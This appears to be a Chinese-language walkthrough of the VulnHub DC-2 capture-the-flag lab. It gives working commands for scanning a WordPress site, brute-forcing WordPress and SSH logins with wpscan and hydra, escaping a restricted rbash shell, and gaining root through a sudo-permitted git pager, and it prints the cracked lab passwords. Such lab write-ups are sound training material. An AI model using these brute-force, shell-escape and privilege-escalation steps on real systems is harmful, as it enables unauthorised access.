靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/
靶机:DC2 (VirtualBox) IP:192.168.43.15
攻击机:Kali (VMware) IP:192.168.43.242
说明:同DC1,DC2需要找到5个flag
首先查看kali的ip得到192.168.43.242
nmap查看靶机ip得到192.168.43.15
继续nmap嗅探靶机其余信息,发现开放80/7744
通过浏览器访问这个网站,发现无法正常访问页面,但在url地址栏会有http://dc-2域名提示,发现问题是本地无法解析域名dc-2。
编辑/etc/hosts文件,添加靶机IP地址及对应域名:192.168.43.15 dc-2
vim /etc/hosts
192.168.43.15 dc-2
添加域名解析后,然后在地址栏输入http://dc-2/ 可以正常访问网页信息,发现该CMS是WordPress并在Flag页面找到flag1。
提示使用cewl密码字典生成工具来生成密码,并且在登录后可以找到下一个flag,即flag2在后台。
网站可以正常访问,但没有找到后台登录页面,我们可以使用nikto工具扫描网站结构,找到wp-login.php登录页面:
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。
-h:host
-o:output
nikto -h dc-2 -o nikto-dc2.txt
访问登录页面:http://dc-2/wp-login.php
一般WordPress网站都会有admin用户,但需要爆破密码。
使用wpscan工具扫描网站,获取可以登录网站的用户名,扫描后可以找到三个用户名:admin、tom、jerry。
WPScan(WordPress扫描工具)是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
-e:简单进行整体快速扫描
u:枚举WordPress用户名
-U:指定用户名字典
-P:指定密码字典
wpscan --url dc-2 -e u
把扫描到的3个用户名做一个字典,名字为dc2user.txt。
vim dc2users.txt
admin
tom
jerry
使用flag1中提示的cewl工具生成密码字典dc2.txt
Cewl是一种采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添加额外的外部链接,然后Cewl会给你返回一个字典文件,你可以把字典用到另外,Cewl还提供了命令行工具。
cewl http://dc-2 -w dc2.txt
cat dc2.txt
然后使用wpscan工具爆破
wpscan --url dc-2 -U dc2users.txt -P dc2.txt
成功爆破出jerry和tom用户
使用tom用户登录论坛,没找到有用信息
再使用jerry用户登录论坛,可以找到flag2,再无其他有用信息
flag2提示:如果你没办法利用WordPress,就从另外一个方向切入,即80端口切入失败,就换另外一个7744(ssh)端口
要进行ssh登录密码爆破,就得使用Hydra工具使用已生成的密码字典dc2.txt对已知的用户名进行爆破
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。
-L:指定用户名字典
-P:指定密码字典
-s:可通过这个参数指定非默认端口
hydra -L dc2users.txt -P dc2.txt 192.168.43.15 ssh -s 7744
获得ssh登录用户:tom / parturient
使用tom用户进行ssh登录:
ssh [email protected] -p 7744
-p:后接远程主机开放的ssh端口号,如果远程主机ssh使用的默认22端口,可以不加-p,直接ssh远程主机名。
使用tom用户ssh登录后,使用 ls 命令在home目录下找到flag3.txt,查看flag3.txt
系统运维人员一般都会给Linux shell加上一些限制来防止入侵,通常会阻止运行某些特定的命令。
发现是受限的shell命令,rbash,涉及到rbash绕过方法
https://www.cnblogs.com/zaqzzz/p/12075132.html#2rbash%E7%BB%95%E8%BF%87
输入
BASH_CMDS[a]=/bin/sh;a #调用/bin/sh命令解释器
/bin/bash #使用bash命令解释器
export PATH=$PATH:/bin/ #设置环境变量
成功绕过了rbash,cat命令再次查看flag3.txt
即提示需要su jerry切换jerry用户,之前爆破出的jerry密码是adipiscing
切换jerry用户后发现,家目录下有个flag4.txt
也可以直接使用 find / -name “flag4.txt” 查找flag
提示还不是最终的flag,提示git,查看sudo配置文件,发现git是root不用密码可以运行,搜索git提权
sudo -l #查看可以使用root权限无密码的命令,有git命令
可以看出这个git不用root密码,可以利用一下
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash
可以看到已经是root权限了
Well done!
1、域名解析
2、工具的使用及其相关命令(cewl、nikto、wpscan、hydra)
3、ssh登录密码爆破
4、rbash绕过方法
5、git提权